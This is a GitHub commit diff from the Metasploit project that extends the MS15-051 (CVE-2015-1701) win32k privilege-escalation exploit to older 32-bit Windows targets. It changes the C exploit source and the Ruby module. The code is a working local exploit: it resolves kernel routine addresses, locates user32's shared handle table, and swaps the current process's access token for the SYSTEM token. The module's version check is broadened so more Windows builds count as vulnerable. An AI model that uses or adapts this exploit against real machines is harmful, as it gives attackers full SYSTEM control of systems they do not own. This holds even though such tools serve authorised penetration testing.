Skip to content

Commit 2206a6a

Browse files
zeroSteinerOJ
authored andcommitted
Support older targets x86 for MS15-051
1 parent e3d1a34 commit 2206a6a

File tree

2 files changed

+89
-70
lines changed

2 files changed

+89
-70
lines changed

external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c

Lines changed: 76 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,14 @@
3535
#define HMUNIQSHIFT 16
3636

3737
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
38-
typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process);
38+
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
39+
IN HANDLE ProcessId,
40+
OUT PVOID Process
41+
);
42+
43+
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
44+
_Inout_ PVOID Process
45+
);
3946

4047
typedef PVOID PHEAD;
4148

@@ -65,19 +72,13 @@ typedef struct _SHAREDINFO {
6572

6673
static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
6774

68-
pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL;
75+
lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL;
76+
lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL;
6977
pUser32_ClientCopyImage g_originalCCI = NULL;
7078
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
7179
int g_shellCalled = 0;
7280
DWORD g_OurPID;
7381

74-
75-
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
76-
_Inout_ PVOID Process
77-
);
78-
79-
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
80-
8182
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
8283

8384
NTSTATUS NTAPI RtlGetVersion(
@@ -230,25 +231,15 @@ BOOLEAN supIsProcess32bit(
230231
return FALSE;
231232
}
232233

233-
/*
234-
* GetPsLookupProcessByProcessId
235-
*
236-
* Purpose:
237-
*
238-
* Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
239-
*
240-
*/
241-
ULONG_PTR GetPsLookupProcessByProcessId(
242-
VOID
243-
)
234+
BOOL GetShellCodeFunctions(VOID)
244235
{
245236
BOOL cond = FALSE;
246237
ULONG rl = 0;
247238
PVOID MappedKernel = NULL;
248239
ULONG_PTR KernelBase = 0L, FuncAddress = 0L;
249240
PRTL_PROCESS_MODULES miSpace = NULL;
250241
CHAR KernelFullPathName[MAX_PATH * 2];
251-
242+
BOOL bSuccess = FALSE;
252243

253244
do {
254245

@@ -278,12 +269,12 @@ ULONG_PTR GetPsLookupProcessByProcessId(
278269
break;
279270
}
280271

281-
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
282-
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel));
283-
284272
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
285-
FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
273+
g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
286274

275+
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
276+
g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
277+
bSuccess = TRUE;
287278
} while (cond);
288279

289280
if (MappedKernel != NULL) {
@@ -293,7 +284,39 @@ ULONG_PTR GetPsLookupProcessByProcessId(
293284
HeapFree(GetProcessHeap(), 0, miSpace);
294285
}
295286

296-
return FuncAddress;
287+
return bSuccess;
288+
}
289+
290+
PSHAREDINFO GetSharedInfo(VOID) {
291+
HMODULE huser32;
292+
PSHAREDINFO pSharedInfo = NULL;
293+
DWORD dwCursor = 0;
294+
295+
huser32 = GetModuleHandle(TEXT("user32.dll"));
296+
if (huser32 == NULL)
297+
return pSharedInfo;
298+
299+
pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo"));
300+
301+
#ifndef _M_X64
302+
PVOID pUser32InitializeImmEntryTable;
303+
304+
/* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
305+
if (pSharedInfo != NULL)
306+
return pSharedInfo;
307+
308+
pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable"));
309+
310+
for (dwCursor = 0; dwCursor < 0x80; dwCursor++) {
311+
if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 )
312+
continue;
313+
if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68)
314+
continue;
315+
return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2));
316+
}
317+
#endif
318+
319+
return pSharedInfo;
297320
}
298321

299322
/*
@@ -304,28 +327,22 @@ ULONG_PTR GetPsLookupProcessByProcessId(
304327
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
305328
*
306329
*/
307-
HWND GetFirstThreadHWND(
308-
VOID
309-
)
330+
HWND GetFirstThreadHWND(VOID)
310331
{
311332
PSHAREDINFO pse;
312-
HMODULE huser32;
313333
PHANDLEENTRY List;
314334
ULONG_PTR c, k;
315335

316-
huser32 = GetModuleHandle(TEXT("user32.dll"));
317-
if (huser32 == NULL)
318-
return 0;
319-
320-
pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");
321-
if (pse == NULL)
336+
pse = GetSharedInfo();
337+
if (pse == NULL) {
322338
return 0;
339+
}
323340

324341
List = pse->aheList;
325342
k = pse->psi->cHandleEntries;
326343

327-
if (pse->HeEntrySize != sizeof(HANDLEENTRY))
328-
return 0;
344+
//if (pse->HeEntrySize != sizeof(HANDLEENTRY))
345+
//return 0;
329346

330347
//
331348
// Locate, convert and return hwnd for current thread.
@@ -334,12 +351,11 @@ HWND GetFirstThreadHWND(
334351
if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
335352
return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
336353
}
337-
338354
return 0;
339355
}
340356

341357
// Search the specified data structure for a member with CurrentValue.
342-
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
358+
BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
343359
{
344360
DWORD_PTR dwIndex, dwMask;
345361

@@ -376,29 +392,25 @@ BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue,
376392
* Copy system token to current process object.
377393
*
378394
*/
379-
NTSTATUS NTAPI StealProcessToken(
380-
VOID
381-
)
395+
NTSTATUS NTAPI StealProcessToken(VOID)
382396
{
383-
NTSTATUS Status;
384-
PVOID CurrentProcess = NULL;
385-
PVOID SystemProcess = NULL;
386-
387-
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);
388-
if (NT_SUCCESS(Status)) {
389-
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
390-
if (NT_SUCCESS(Status)) {
391-
PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess);
392-
PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess);
393-
394-
// Find the token in the target process, and replace with the system token.
395-
find_and_replace_member((PDWORD_PTR)CurrentProcess,
396-
(DWORD_PTR)targetToken,
397-
(DWORD_PTR)systemToken,
398-
0x200);
399-
}
400-
}
401-
return Status;
397+
void *pMyProcessInfo = NULL;
398+
void *pSystemInfo = NULL;
399+
PACCESS_TOKEN systemToken;
400+
PACCESS_TOKEN targetToken;
401+
402+
g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo);
403+
g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
404+
405+
targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo);
406+
systemToken = g_pPsReferencePrimaryToken(pSystemInfo);
407+
408+
// Find the token in the target process, and replace with the system token.
409+
FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo,
410+
(DWORD_PTR)targetToken,
411+
(DWORD_PTR)systemToken,
412+
0x200);
413+
return 0;
402414
}
403415

404416

@@ -476,9 +488,9 @@ void win32k_client_copy_image(LPVOID lpPayload)
476488
}
477489

478490
g_OurPID = GetCurrentProcessId();
479-
g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
491+
GetShellCodeFunctions();
480492

481-
if (g_PsLookupProcessByProcessIdPtr == NULL) {
493+
if (g_pPsLookupProcessByProcessId == NULL) {
482494
return;
483495
}
484496

modules/exploits/windows/local/ms15_051_client_copy_image.rb

Lines changed: 13 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -26,9 +26,10 @@ def initialize(info={})
2626
},
2727
'License' => MSF_LICENSE,
2828
'Author' => [
29-
'Unknown', # vulnerability discovery and exploit in the wild
30-
'hfirefox', # Code released on github
31-
'OJ Reeves' # msf module
29+
'Unknown', # vulnerability discovery and exploit in the wild
30+
'hfirefox', # Code released on github
31+
'OJ Reeves', # msf module
32+
'Spencer McIntyre' # msf module
3233
],
3334
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
3435
'Platform' => 'win',
@@ -57,10 +58,15 @@ def initialize(info={})
5758
end
5859

5960
def check
61+
# Windows XP SP3 (32-bit) 5.1.2600.6514 (Works)
62+
# Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works)
6063
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
61-
# Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works)
64+
# Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works)
65+
# Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works)
6266
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
67+
# Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works)
6368
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
69+
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
6470

6571
if sysinfo['OS'] !~ /windows/i
6672
return Exploit::CheckCode::Unknown
@@ -76,7 +82,7 @@ def check
7682
major, minor, build, revision, branch = file_version(file_path)
7783
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
7884

79-
return Exploit::CheckCode::Safe if build == 7601
85+
return Exploit::CheckCode::Safe if build > 7601
8086

8187
return Exploit::CheckCode::Detected
8288
end
@@ -86,7 +92,8 @@ def exploit
8692
fail_with(Failure::None, 'Session is already elevated')
8793
end
8894

89-
if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown
95+
check_result = check
96+
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
9097
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
9198
end
9299

0 commit comments

Comments
 (0)